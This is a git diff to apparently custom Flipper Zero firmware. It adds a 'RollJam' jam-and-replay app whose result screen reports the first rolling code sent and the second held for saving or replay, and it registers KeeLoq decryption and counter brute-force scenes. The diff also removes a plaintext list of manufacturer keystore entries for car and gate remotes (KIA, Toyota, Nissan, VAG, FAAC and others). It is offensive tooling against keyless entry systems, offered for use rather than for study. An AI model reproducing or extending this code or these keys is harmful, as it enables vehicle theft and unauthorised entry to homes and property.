if(result == DialogExResultLeft) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSaveSignal);
|
||||
} else if(result == DialogExResultRight) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventReplayNow);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_result_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
dialog_ex_reset(app->dialog_ex);
|
||||
|
||||
dialog_ex_set_header(
|
||||
app->dialog_ex, "Attack Complete!",
|
||||
64, 2, AlignCenter, AlignTop);
|
||||
|
||||
dialog_ex_set_text(
|
||||
app->dialog_ex,
|
||||
"1st code: SENT to target\n"
|
||||
"2nd code: IN MEMORY\n\n"
|
||||
"What to do with 2nd?",
|
||||
64, 18, AlignCenter, AlignTop);
|
||||
|
||||
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
|
||||
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
|
||||
|
||||
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
|
||||
dialog_ex_set_context(app->dialog_ex, app);
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewDialogEx);
|
||||
}
|
||||
|
||||
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSaveSignal) {
|
||||
// Save to .sub file
|
||||
rolljam_save_signal(app, &app->signal_second);
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Saved!",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup,
|
||||
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
popup_set_timeout(app->popup, 5000);
|
||||
popup_enable_timeout(app->popup);
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
return true;
|
||||
|
||||
} else if(event.event == RollJamEventReplayNow) {
|
||||
// Show sending screen
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Transmitting...",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup, "Sending 2nd code NOW",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
// Transmit second signal
|
||||
rolljam_transmit_signal(app, &app->signal_second);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
popup_set_header(
|
||||
app->popup, "Done!",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup,
|
||||
"2nd code transmitted!\n\nPress Back",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
popup_set_timeout(app->popup, 5000);
|
||||
popup_enable_timeout(app->popup);
|
||||
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_result_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
dialog_ex_reset(app->dialog_ex);
|
||||
popup_reset(app->popup);
|
||||
}
|
||||
53
applications/main/RollJam/views/rolljam_attack_view.c
Normal file
53
applications/main/RollJam/views/rolljam_attack_view.c
Normal file
@@ -0,0 +1,53 @@
|
||||
#include "rolljam_attack_view.h"
|
||||
#include <gui/canvas.h>
|
||||
|
||||
// ============================================================
|
||||
// Custom drawing for attack status
|
||||
// Reserved for future use with a custom View
|
||||
// Currently the app uses Widget modules instead
|
||||
// ============================================================
|
||||
|
||||
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
|
||||
canvas_clear(canvas);
|
||||
|
||||
// Title bar
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
|
||||
|
||||
// Separator
|
||||
canvas_draw_line(canvas, 0, 14, 128, 14);
|
||||
|
||||
// Status
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
|
||||
|
||||
// Indicators
|
||||
int y = 32;
|
||||
|
||||
if(state->jamming) {
|
||||
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
|
||||
// Animated dots could go here
|
||||
} else {
|
||||
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
|
||||
}
|
||||
y += 12;
|
||||
|
||||
if(state->capturing) {
|
||||
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
|
||||
} else {
|
||||
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
|
||||
}
|
||||
y += 12;
|
||||
|
||||
// Signal counter
|
||||
char buf[32];
|
||||
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
|
||||
canvas_draw_str(canvas, 4, y, buf);
|
||||
|
||||
// Footer
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
|
||||
}
|
||||
23
applications/main/RollJam/views/rolljam_attack_view.h
Normal file
23
applications/main/RollJam/views/rolljam_attack_view.h
Normal file
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* Custom view for attack visualization.
|
||||
* Currently the app uses Widget and DialogEx for display.
|
||||
* This file is reserved for a future custom canvas-drawn view
|
||||
* (e.g., signal waveform display, animated jamming indicator).
|
||||
*
|
||||
* For now it provides a simple status draw function.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
const char* phase_text;
|
||||
const char* status_text;
|
||||
bool jamming;
|
||||
bool capturing;
|
||||
int signal_count;
|
||||
} AttackViewState;
|
||||
|
||||
// Draw attack status on a canvas (for future custom View use)
|
||||
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);
|
||||
@@ -8,6 +8,8 @@ App(
|
||||
"lfrfid",
|
||||
"nfc",
|
||||
"subghz",
|
||||
"rolljam",
|
||||
"lf_sniffer",
|
||||
"subghz_bruteforcer",
|
||||
"archive",
|
||||
"subghz_remote",
|
||||
|
||||
@@ -30,11 +30,9 @@ static const char* const known_ext[] = {
|
||||
[ArchiveFileTypeBadUsb] = ".txt",
|
||||
[ArchiveFileTypeU2f] = "?",
|
||||
[ArchiveFileTypeApplication] = ".fap",
|
||||
[ArchiveFileTypeJS] = ".js",
|
||||
[ArchiveFileTypeUpdateManifest] = ".fuf",
|
||||
[ArchiveFileTypeFolder] = "?",
|
||||
[ArchiveFileTypeUnknown] = "*",
|
||||
[ArchiveFileTypeAppOrJs] = ".fap|.js",
|
||||
[ArchiveFileTypeSetting] = "?",
|
||||
};
|
||||
|
||||
@@ -47,7 +45,7 @@ static const ArchiveFileTypeEnum known_type[] = {
|
||||
[ArchiveTabInfrared] = ArchiveFileTypeInfrared,
|
||||
[ArchiveTabBadUsb] = ArchiveFileTypeBadUsb,
|
||||
[ArchiveTabU2f] = ArchiveFileTypeU2f,
|
||||
[ArchiveTabApplications] = ArchiveFileTypeAppOrJs,
|
||||
[ArchiveTabApplications] = ArchiveFileTypeApplication,
|
||||
[ArchiveTabInternal] = ArchiveFileTypeUnknown,
|
||||
[ArchiveTabBrowser] = ArchiveFileTypeUnknown,
|
||||
};
|
||||
|
||||
@@ -18,10 +18,8 @@ typedef enum {
|
||||
ArchiveFileTypeU2f,
|
||||
ArchiveFileTypeApplication,
|
||||
ArchiveFileTypeUpdateManifest,
|
||||
ArchiveFileTypeJS,
|
||||
ArchiveFileTypeFolder,
|
||||
ArchiveFileTypeUnknown,
|
||||
ArchiveFileTypeAppOrJs,
|
||||
ArchiveFileTypeSetting,
|
||||
ArchiveFileTypeLoading,
|
||||
} ArchiveFileTypeEnum;
|
||||
|
||||
@@ -29,8 +29,6 @@ static const char* archive_get_flipper_app_name(ArchiveFileTypeEnum file_type) {
|
||||
return "U2F";
|
||||
case ArchiveFileTypeUpdateManifest:
|
||||
return "UpdaterApp";
|
||||
case ArchiveFileTypeJS:
|
||||
return "JS Runner";
|
||||
case ArchiveFileTypeFolder:
|
||||
return "Archive";
|
||||
default:
|
||||
|
||||
@@ -36,8 +36,6 @@ static const Icon* ArchiveItemIcons[] = {
|
||||
[ArchiveFileTypeFolder] = &I_dir_10px,
|
||||
[ArchiveFileTypeUnknown] = &I_unknown_10px,
|
||||
[ArchiveFileTypeLoading] = &I_loading_10px,
|
||||
[ArchiveFileTypeJS] = &I_js_script_10px,
|
||||
[ArchiveFileTypeAppOrJs] = &I_unknown_10px,
|
||||
};
|
||||
|
||||
void archive_browser_set_callback(
|
||||
|
||||
@@ -93,6 +93,7 @@ typedef enum {
|
||||
SubGhzViewIdFrequencyAnalyzer,
|
||||
SubGhzViewIdReadRAW,
|
||||
SubGhzViewIdPsaDecrypt,
|
||||
SubGhzViewIdKeeloqDecrypt,
|
||||
|
||||
} SubGhzViewId;
|
||||
|
||||
|
||||
@@ -1,107 +1,108 @@
|
||||
Filetype: Flipper SubGhz Keystore File
|
||||
Version: 0
|
||||
Encryption: 0
|
||||
0000000000000000:1:Allgate_Simple
|
||||
0000000023304758:6:KGB/Subaru
|
||||
0000000033205748:7:Magic_2
|
||||
00000000C3644917:2:VAG_Custom_Seed
|
||||
0102030410203040:1:IronLogic
|
||||
0123456789ABCDEF:2:Stilmatic
|
||||
0132456789ABCDEF:1:Pandora_Test_Debug_2
|
||||
05AEDAABAA981903:1:Rosh
|
||||
08AEDAABAA981903:1:Dea_Mio
|
||||
1067DC33E7D88A46:0:Leopard
|
||||
12332594A9189478:1:Sheriff
|
||||
1234567812345678:2:NICE_Flor_S
|
||||
1234567890123456:1:Cenmax
|
||||
188B0544A9B1DF14:2:Centurion
|
||||
1961DAC2EB198847:2:Guard_RF-311A
|
||||
1B36977B281597AC:1:Pandora_PRO
|
||||
207DBBE59D386F44:2:Cardin_S449
|
||||
2156EB02D8E9B977:1:Pandora_DEA
|
||||
2255EA01DBEABA76:1:Pandora_GIBIDI
|
||||
2354E900DAEBBB75:1:Pandora_MCODE
|
||||
2453EE07DDECBC72:1:Pandora_Unknown_1
|
||||
2552EF06DCEDBD73:1:Pandora_SUZUKI
|
||||
2587010764070864:1:Harpoon
|
||||
2626991902991902:1:Gibidi
|
||||
2651EC05DFEEBE70:1:Pandora_Unknown_2
|
||||
27193A9B117C0835:11:Jarolift
|
||||
2739451414471820:2:Audii
|
||||
2750ED04DEEFBF71:2:Pandora_NISSAN
|
||||
30317B307D794471:1:KEY
|
||||
314C3865304E3961:1:Novoferm
|
||||
32130221685B9D8C:2:VAG_HELLA_VPM2
|
||||
3519B934A4227995:1:Pandora_SUBARU
|
||||
352BABACA5F4DFE0:1:Pecinin
|
||||
381D7D9A2A17AE99:1:Pandora_M101
|
||||
3E461AB4F76DA19B:2:Merlin
|
||||
4030201004030201:1:IL-100(Smart)
|
||||
4130850A82610A14:1:Pantera_CLK
|
||||
414C455831393830:1:Kingates_Stylo4k
|
||||
4292903083134583:2:Monarch
|
||||
434144494C4C4143:2:Cadillac_GM
|
||||
43485259534C4552:2:Chrysler
|
||||
444145574F4F0000:2:Daewoo
|
||||
4772736565734769:1:Aprimatic
|
||||
484D6C6D73545253:1:NICE_MHOUSE
|
||||
484F4E4441200000:2:Honda
|
||||
4859554E44414920:2:Hyundai_Asia
|
||||
4C6D4D7A55644F76:3:BFT
|
||||
4D41474E64796E65:1:Pantera
|
||||
4D49545355424953:2:Mitsubishi
|
||||
4E495353414E2000:2:Nissan
|
||||
535446524B453030:13:KIAV5
|
||||
53555A554B490000:2:Suzuki
|
||||
53696C7669618C14:5:FAAC_SLH
|
||||
54365CB7676284F9:1:Alligator_S-275
|
||||
544F594F54410000:2:Toyota
|
||||
54524D534543494E:1:NICE_Smilo
|
||||
5504045708301203:1:SL_A6-A9/Tomahawk_9010
|
||||
572768229476CAFF:2:Motorline
|
||||
638664A880AA23FC:11:KIAV6A
|
||||
6408076407018725:1:Tomahawk_TZ-9030
|
||||
66B446B980AC752B:1:Cenmax_St-7
|
||||
67732C5056334627:1:Pantera_XS/Jaguar
|
||||
685B9D8C5A130221:2:VAG_HELLA_VPM
|
||||
68732C5056334728:1:APS-1100_APS-2550
|
||||
6912FA557DC2418A:0:Reff
|
||||
6B8E6CA088A22BF4:12:KIAV6B
|
||||
6D69736572657265:2:BFT_Miserere
|
||||
6EB6AE4815C63ED2:9:Beninca_ARC
|
||||
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
|
||||
7BCBEED4376EDCBF:2:Sommer
|
||||
7EAF1E9A392B19B9:1:Pandora_PRO2
|
||||
8455F43584941223:1:DoorHan
|
||||
8607427861394E30:2:EcoStar
|
||||
8765432187654321:2:Sommer_FM_868
|
||||
89146E59537903B7:1:JCM_Tech
|
||||
8A326438B62287F5:0:Faraon
|
||||
8BC9E46704700800:1:Vag
|
||||
96638C36C99C2C9B:1:Came_Space
|
||||
9804655AA5000000:8:Magic_4
|
||||
9BF7F89BF8FE78DA:1:SL_A2-A4
|
||||
9C61FD3A47B8E25C:2:Elmes_Poland
|
||||
9DA08153CF312BA7:1:Normstahl
|
||||
A8F5DFFC8DAA5CDB:10:KIA
|
||||
A9748532B7655297:2:GSN
|
||||
AA38A7A32189B5A1:0:Mutanco_Mutancode
|
||||
AAFBFBA8F7CFEDFC:1:Cenmax_St-5
|
||||
AC35BB2759000000:8:Magic_3
|
||||
AD3C12A17028F11E:1:Partisan_RX
|
||||
B3E5625A8CCD7139:2:Steelmate
|
||||
B51526E8F126D1D7:0:Teco
|
||||
B51A7AAB27351596:0:ZX-730-750-1055
|
||||
BBEE9EDDAAF97ECC:1:Jolly_Motors
|
||||
CEB6AE48B5C63ED2:4:Beninca
|
||||
D5A5E7B2A7C1A0BA:2:Mongoose
|
||||
E5D2C83529C113E6:2:VAG_HELLA_PWM
|
||||
EEF3D4B2626C5578:1:Alligator
|
||||
F1A3E552C8647E55:2:Comunello
|
||||
F250006EF29E030E:2:Vauweh
|
||||
F6E5D4B32ABADCFE:1:SL_B6,B9_dop
|
||||
FAAC05600001FAAC:2:FAAC_RC,XT
|
||||
FAAC05600002FAAC:2:Genius_Bravo
|
||||
FADA12FADA34F0DA:1:Rossi
|
||||
FC4DE22CD5370320:1:DTM_Neo
|
||||
FEDCBA9876543210:2:Came_Tam
|
||||
Encryption: 1
|
||||
IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
|
||||
1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
|
||||
71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
|
||||
250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
|
||||
9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
|
||||
0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
|
||||
F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
|
||||
F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
|
||||
265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
|
||||
DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
|
||||
1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
|
||||
68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
|
||||
E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
|
||||
AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
|
||||
DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
|
||||
321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
|
||||
E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
|
||||
FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
|
||||
FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
|
||||
8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
|
||||
20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
|
||||
7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
|
||||
00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
|
||||
5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
|
||||
731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
|
||||
A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
|
||||
8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
|
||||
25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
|
||||
C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
|
||||
7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
|
||||
65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
|
||||
DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
|
||||
C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
|
||||
51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
|
||||
947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
|
||||
B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
|
||||
C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
|
||||
5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
|
||||
222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
|
||||
E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
|
||||
29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
|
||||
E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
|
||||
701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
|
||||
AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
|
||||
A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
|
||||
7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
|
||||
8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
|
||||
67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
|
||||
4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
|
||||
2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
|
||||
1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
|
||||
AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
|
||||
5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
|
||||
F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
|
||||
59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
|
||||
CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
|
||||
0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
|
||||
C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
|
||||
A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
|
||||
6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
|
||||
CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
|
||||
491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
|
||||
9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
|
||||
BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
|
||||
7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
|
||||
B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
|
||||
BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
|
||||
B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
|
||||
91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
|
||||
AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
|
||||
98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
|
||||
27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
|
||||
716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
|
||||
740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
|
||||
9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
|
||||
9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
|
||||
B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
|
||||
46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
|
||||
B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
|
||||
8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
|
||||
8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
|
||||
F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
|
||||
72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
|
||||
51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
|
||||
7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
|
||||
944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
|
||||
F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
|
||||
ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
|
||||
717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
|
||||
C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
|
||||
CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
|
||||
F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
|
||||
E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
|
||||
5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
|
||||
5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
|
||||
E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
|
||||
A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
|
||||
97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
|
||||
452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
|
||||
AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
|
||||
E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
|
||||
7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
|
||||
0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
|
||||
8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
|
||||
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E
|
||||
|
||||
@@ -30,4 +30,7 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
|
||||
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
|
||||
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
|
||||
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
|
||||
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
|
||||
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
|
||||
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
|
||||
ADD_SCENE(subghz, counter_bf, CounterBf)
|
||||
|
||||
@@ -5,9 +5,10 @@
|
||||
#define TAG "SubGhzCounterBf"
|
||||
|
||||
// How many ticks to wait between transmissions (1 tick ~100ms)
|
||||
#define COUNTER_BF_TX_INTERVAL_TICKS 3
|
||||
#define COUNTER_BF_TX_INTERVAL_TICKS 5
|
||||
|
||||
typedef enum {
|
||||
CounterBfStateWarning,
|
||||
CounterBfStateIdle,
|
||||
CounterBfStateRunning,
|
||||
CounterBfStateStopped,
|
||||
@@ -19,54 +20,97 @@ typedef struct {
|
||||
uint32_t step;
|
||||
CounterBfState state;
|
||||
uint32_t packets_sent;
|
||||
uint32_t tick_wait; // ticks remaining before next TX
|
||||
uint32_t tick_wait;
|
||||
} CounterBfContext;
|
||||
|
||||
#define CounterBfEventStart (0xC0)
|
||||
#define CounterBfEventStop (0xC1)
|
||||
#define CounterBfEventStart (0xC0)
|
||||
#define CounterBfEventStop (0xC1)
|
||||
#define CounterBfEventWarningOk (0xC2)
|
||||
|
||||
static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
|
||||
}
|
||||
}
|
||||
|
||||
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
// Single press toggles start/stop
|
||||
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
|
||||
}
|
||||
}
|
||||
|
||||
static void counter_bf_draw_warning(SubGhz* subghz) {
|
||||
widget_reset(subghz->widget);
|
||||
widget_add_string_multiline_element(
|
||||
subghz->widget,
|
||||
64,
|
||||
20,
|
||||
AlignCenter,
|
||||
AlignCenter,
|
||||
FontSecondary,
|
||||
"WARNING:\nThis may desync\nyour fob!");
|
||||
widget_add_button_element(
|
||||
subghz->widget,
|
||||
GuiButtonTypeCenter,
|
||||
"OK",
|
||||
counter_bf_warning_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
widget_reset(subghz->widget);
|
||||
FuriString* str = furi_string_alloc();
|
||||
furi_string_printf(str,
|
||||
furi_string_printf(
|
||||
str,
|
||||
"Counter BruteForce\n"
|
||||
"Cnt: 0x%08lX\n"
|
||||
"Sent: %lu pkts\n"
|
||||
"Start: 0x%08lX",
|
||||
ctx->current_cnt,
|
||||
ctx->packets_sent,
|
||||
ctx->start_cnt);
|
||||
"Cnt: 0x%06lX\n"
|
||||
"Start: 0x%06lX\n"
|
||||
"Sent: %lu",
|
||||
ctx->current_cnt & 0xFFFFFF,
|
||||
ctx->start_cnt & 0xFFFFFF,
|
||||
ctx->packets_sent);
|
||||
widget_add_string_multiline_element(
|
||||
